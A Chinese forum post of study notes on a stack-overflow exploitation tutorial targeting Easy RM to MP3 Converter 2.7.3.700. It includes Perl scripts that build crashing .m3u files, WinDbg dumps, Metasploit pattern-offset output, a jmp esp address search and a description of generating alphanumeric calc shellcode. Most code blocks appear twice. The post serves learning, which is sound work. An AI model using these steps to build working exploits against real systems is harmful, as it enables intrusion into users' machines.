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[原创]如何利用栈溢出漏洞1——Exploit编写系列教程学习笔记
发表于: 2021-8-12 17:23 15087

[原创]如何利用栈溢出漏洞1——Exploit编写系列教程学习笔记

2021-8-12 17:23
15087

这周要看的《漏洞战争》中的内容已经看完了,所以利用空余时间学习一下Exploit 编写系列教程。今天只看了第一篇,是一篇很基础的如何利用栈溢出的教程,其实很多内容在之前看0day安全的时候都学习过,但是思考的角度有所差异,而且介绍了一些好用的工具,再加上该系列后续文章也会讲解很多我还不了解的内容,所以很有学习的价值。

从漏洞报告上获取信息:

Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file.

已知程序存在栈溢出漏洞,除此之外没有其他信息和poc文件。

验证程序确实会崩溃

安装存在漏洞的软件:

下载渠道:exploit-dboldapps.comoldversion.com

生成测试用m3u文件

测试文件只是为了让程序崩溃,不需要什么结构,由大量的'A'组成

测试

10000长度的文件没能让程序崩溃,换成20000、30000……

10000长度:

图片描述

30000长度程序闪退了。

调试崩溃程序

设置windbg为默认调试器,windbg.exe -I,重新打开软件,并加载引起闪退的文件,调试器会直接打开。此时观察到调试器输出:

此时EIP的值为0x41414141,也就是说poc文件中(可控的)的数值成功写入了EIP寄存器,能够控制程序执行流程。同时栈中的数据也都变成了0x41414141,说明是一个栈溢出漏洞。此时需要判断栈空间有多大,文件中的哪块数据变成了EIP中的数值。

目前已知,20000字节的文件不会使程序崩溃,30000字节的文件可以使程序崩溃。所以写入EIP的数据位于20000~30000字节之间。如果不考虑任何工具,使用比较傻瓜的方法确定EIP值在POC文件中的具体位置,可以使用二分法,毕竟O(logn)的效率并不差,但是这种方法显然很麻烦。不过metasploit已经考虑到了这种情况并提供了相关工具,在我分析CVE-2010-3333漏洞的时候,为了确定SEH handler的位置,已经参考了这个系列文章并使用了该工具。

我在win10电脑中安装了metasploit,直接搜索pattern_create.rb文件。

这个脚本可以生成任意长度,任意模式的字符串。直接生成一个长度为30000字节的文件poc.m3u:

重新打开程序,调试器输出:

这次EIP被覆盖成了0x376c4836

接下来需要计算EIP的具体位置了,可以使用脚本pattern_offset.rb:

因为已经知道位置一定是在25000字节之后了,所以正确的偏移量应该是26090

修改一下一开始生成测试文件的perl脚本,测试该偏移量是否正确:

使用上面的脚本生成测试文件,如果偏移量正确,EIP应该会变成0x42424242

注:crash_eiptest.m3u应该和poc.m3u放在同一个目录下,因为这个栈溢出漏洞和文件所在的绝对路径有关,我一开始没注意,所以得到的EIP值就是错误的。

至此,可以确定EIP的值在POC文件中的偏移为26090

目前已经确定了EIP的位置,可以通过修改EIP控制程序的执行流程了,但是还不知道要把EIP修改成什么值,还需要确定shellcode的位置。

在上面windbg输出的错误信息中,可以看到各个寄存器的值,查看各寄存器指向位置的数据都是什么,如果有某个寄存器指向的位置正好包含了poc文件中的数据,就可以把那个寄存器作为跳板,并用shellcode替换原本指向的数据。

注:其实栈溢出漏洞已经很熟悉了,大家都知道esp会指向EIP之后的数据,所以在这里这一步并不必要,但是这个方法仍指的借鉴,毕竟你并不是每次都能够确定选择哪个寄存器。

假设现在还啥都不知道,查看各寄存器指向的数据,只有esp寄存器指向的数据内容为poc文件的内容:

所以现在知道esp寄存器指向了poc文件中“CCCCCC....”字符串的位置,但是不确定具体偏移是多少,需要再次修改perl脚本:

将原本“C”的位置替换为不同的字符串模式,再次生成poc文件crash_esptest.m3u。触发异常后查看esp寄存器指向的数据内容:

可以看到esp指向了eip后面第五个字符的位置。之所以没有指向第一个字符,应该是因为最后的返回语句是retn 4。除此之外,在这部分新替换的字符串后面,又是一连串的“A”字符,这部分内容应该是poc文件的开头部分数据。

根据上面的发现,我们可以把shellcode放在两个位置:

既然确定了shellcode的放置位置,让esp直接指向shellcode的内容,看起来好像直接用esp的值填充eip就可以了。但是这里存在两个问题:

所以需要找到一个更稳定的EIP值。

一开始之所以想要把EIP的值覆盖为ESP的值,是因为这样程序会跳转到ESP指向的位置继续执行。所以可以采用一种间接的方式,先执行jmp esp指令,然后程序自然会跳转到shellcode的位置。

因为Easy RM to MP3 Converter这个软件在执行的时候会加载很多DLL文件,里面会存在大量的jmp esp指令,关键在于找到这些指令的地址。

可以使用windbg确定指令地址:

确定指令对应机器码:

输入u命令,该命令会显示当前位置的汇编指令,由于上一步对指令进行了修改,显示的就是想要查找的指令内容及其机器码

最终得到jmp esp的机器码为ffe4

搜索ffe4的地址

在windbg附加到进程上之后,会首先输出一系列的DLL加载信息,在这些信息中,找到属于Easy RM to MP3 Convert的DLL文件:

使用这些DLL文件中的指令会得到比较可靠的指令地址,如果选择操作系统本身的DLL文件,可能换一个操作系统地址就不对了。

注:不过也不是绝对可靠,我在实验中得到的DLL文件加载地址和文章中提供的有一部分也不相同,不过概率总归大一些。

在上面的几个DLL内存范围内搜索ff e4的地址,注意最后选择的地址中不要包含\x00字符

最后找到了上面这些地址,有些DLL文件中搜索不到。

验证。选择一个不包含\x00的地址,我选择0227135b,查看该处的汇编代码:

看来没问题,可以使用这个地址

到目前为止我们已经知道了EIP的填充位置和填充内容,以及shellcode的填充位置,现在需要确定要执行的shellcode代码。

文章中说metasploit提供了payload生成器,但是并没有说怎么用,直接给出了最后的结果,所以我搜索了一下这方面的内容。

安装完成metasploit之后,在命令行里输入msfconsole就可以启动metasploit了。如果不确定要使用哪个payload,可以在命令行里输入 use payload,然后按几下TAB键,metasploit就会显示出所有可用的payload。

use payload/windows/exec 选择这个payload,然后输入help,查看帮助信息,可以看到payload支持的命令:

这里要选择generate命令,输入generate -h查看帮助信息:

有几个选项比较重要:

使用show options查看这个payload可以设置的选项:

使用set命令来设置这些选项:

使用show encoders可以查看支持的编码器,这里不再贴出,一般来metasploit会自己选择最合适的编码器,但是如果你对payload的输出有特殊要求,也可以自己指定想要的编码器。

文章中提到了使用encoder/x86/alpha_upper编码器,Alpha2 Alphanumeric Uppercase Encoder,顾名思义,它会使用数字和大写字母生成payload。因为Easy RM to MP3 Conversion Utility对文件的合法字符有要求,但是我们又无法确定哪些是非法字符,所以保险的做法就是保证payload中只包含文件名允许字符。

最后使用generate -b "\x00" -e x86/alpha_upper -f perl生成payload

整合上面的信息,得到如下perl脚本:

生成poc文件之后,可以成功弹出计算器。

除了上面的几个知识点之外,比较有意思的其实是这篇文章的思考角度。在学习0day安全的时候,只有前面的栈溢出(也是本篇文章介绍的内容,所以重复较大)介绍的很详细,后面的内容更倾向于原理而不是漏洞利用,而后来我开始看《漏洞战争》,更多的是对漏洞本身的调试分析,漏洞利用的角度学习的也很少。

在这篇文章中,没有poc,没有payload,一切都需要你自己生成,整个漏洞利用的流程介绍的非常详细。

由于只是第一篇文章,很多问题上仍旧只是浅尝辄止,比如shellcode的放置位置、shellcode的前面为什么要填充nop指令、除了jmp esp之外是否还有其他到达shellcode的方法,这些问题都还没有深入讲解。

希望等我看完整个系列教程之后,能够自己编写出之前分析的漏洞的利用程序。( •_•)

my $file= "crash.m3u";
my $junk= "\x41" x 10000;        
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
my $file= "crash.m3u";
my $junk= "\x41" x 10000;        
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
(3f4.f58): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007530
eip=41414141 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
41414141 ??              ???
0:000> dd esp
000ffd38  41414141 41414141 41414141 41414141
000ffd48  41414141 41414141 41414141 41414141
000ffd58  41414141 41414141 41414141 41414141
000ffd68  41414141 41414141 41414141 41414141
000ffd78  41414141 41414141 41414141 41414141
000ffd88  41414141 41414141 41414141 41414141
000ffd98  41414141 41414141 41414141 41414141
000ffda8  41414141 41414141 41414141 41414141
(3f4.f58): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007530
eip=41414141 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
41414141 ??              ???
0:000> dd esp
000ffd38  41414141 41414141 41414141 41414141
000ffd48  41414141 41414141 41414141 41414141
000ffd58  41414141 41414141 41414141 41414141
000ffd68  41414141 41414141 41414141 41414141
000ffd78  41414141 41414141 41414141 41414141
000ffd88  41414141 41414141 41414141 41414141
000ffd98  41414141 41414141 41414141 41414141
000ffda8  41414141 41414141 41414141 41414141
 
 
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -h
Usage: ./pattern_create.rb [options]
Example: ./pattern_create.rb -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
 
Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -h
Usage: ./pattern_create.rb [options]
Example: ./pattern_create.rb -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
 
Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
ruby .\pattern_create.rb -l 30000 > poc.m3u
ruby .\pattern_create.rb -l 30000 > poc.m3u
(8d0.f74): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007532
eip=376c4836 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
376c4836 ??              ???
(8d0.f74): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007532
eip=376c4836 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
376c4836 ??              ???
 
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -h
Usage: ./pattern_offset.rb [options]
Example: ./pattern_offset.rb -q Aa3A
[*] Exact match at offset 9
 
Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
 
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -q 0x376c4836 -l 30000
[*] Exact match at offset 5810
[*] Exact match at offset 26090
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -h
Usage: ./pattern_offset.rb [options]
Example: ./pattern_offset.rb -q Aa3A
[*] Exact match at offset 9
 
Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
 
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -q 0x376c4836 -l 30000
[*] Exact match at offset 5810
[*] Exact match at offset 26090
 
my $file= "crash_eiptest.m3u";
my $junk= "A" x 26090;
my $eip= "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
my $file= "crash_eiptest.m3u";
my $junk= "A" x 26090;
my $eip= "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
 
(718.d20): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=000069d6
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???
(718.d20): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=000069d6
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???
 
 
 
0:000> dd esp
000ffd38  43434343 43434343 43434343 43434343
000ffd48  43434343 43434343 43434343 43434343
000ffd58  43434343 43434343 43434343 43434343
000ffd68  43434343 43434343 43434343 43434343
000ffd78  43434343 43434343 43434343 43434343
000ffd88  43434343 43434343 43434343 43434343
000ffd98  43434343 43434343 43434343 43434343
000ffda8  43434343 43434343 43434343 43434343
0:000> dd esp
000ffd38  43434343 43434343 43434343 43434343
000ffd48  43434343 43434343 43434343 43434343
000ffd58  43434343 43434343 43434343 43434343
000ffd68  43434343 43434343 43434343 43434343
000ffd78  43434343 43434343 43434343 43434343
000ffd88  43434343 43434343 43434343 43434343
000ffd98  43434343 43434343 43434343 43434343
000ffda8  43434343 43434343 43434343 43434343
my $file= "crash_esptest.m3u";
my $junk= "A" x 26090;
my $eip= "BBBB";
my $espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
my $file= "crash_esptest.m3u";
my $junk= "A" x 26090;
my $eip= "BBBB";
my $espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
0:000> db esp
000ffd38  76 62 6e 6d 32 7a 78 63-76 62 6e 6d 33 7a 78 63  vbnm2zxcvbnm3zxc
000ffd48  76 62 6e 6d 34 7a 78 63-76 62 6e 6d 35 7a 78 63  vbnm4zxcvbnm5zxc
000ffd58  76 62 6e 6d 36 7a 78 63-76 62 6e 6d 37 7a 78 63  vbnm6zxcvbnm7zxc
000ffd68  76 62 6e 6d 38 7a 78 63-76 62 6e 6d 39 7a 78 63  vbnm8zxcvbnm9zxc
000ffd78  76 62 6e 6d 30 7a 78 63-76 62 6e 6d 00 41 41 41  vbnm0zxcvbnm.AAA
000ffd88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> db esp
000ffd38  76 62 6e 6d 32 7a 78 63-76 62 6e 6d 33 7a 78 63  vbnm2zxcvbnm3zxc
000ffd48  76 62 6e 6d 34 7a 78 63-76 62 6e 6d 35 7a 78 63  vbnm4zxcvbnm5zxc
000ffd58  76 62 6e 6d 36 7a 78 63-76 62 6e 6d 37 7a 78 63  vbnm6zxcvbnm7zxc
000ffd68  76 62 6e 6d 38 7a 78 63-76 62 6e 6d 39 7a 78 63  vbnm8zxcvbnm9zxc
000ffd78  76 62 6e 6d 30 7a 78 63-76 62 6e 6d 00 41 41 41  vbnm0zxcvbnm.AAA
000ffd88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
 
 
 
0:010> u
ntdll!DbgBreakPoint:
7c90120e ffe4            jmp     esp
7c901210 8bff            mov     edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc              int     3
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
ntdll!DbgBreakPointWithStatus:
7c901216 8b442404        mov     eax,dword ptr [esp+4]
ntdll!RtlpBreakWithStatusInstruction:
7c90121a cc              int     3
7c90121b c20400          ret     4
0:010> u
ntdll!DbgBreakPoint:
7c90120e ffe4            jmp     esp
7c901210 8bff            mov     edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc              int     3
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
ntdll!DbgBreakPointWithStatus:
7c901216 8b442404        mov     eax,dword ptr [esp+4]
ntdll!RtlpBreakWithStatusInstruction:
7c90121a cc              int     3
7c90121b c20400          ret     4
ModLoad: 10000000 10071000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 00b50000 00bef000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01900000 01971000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
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[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

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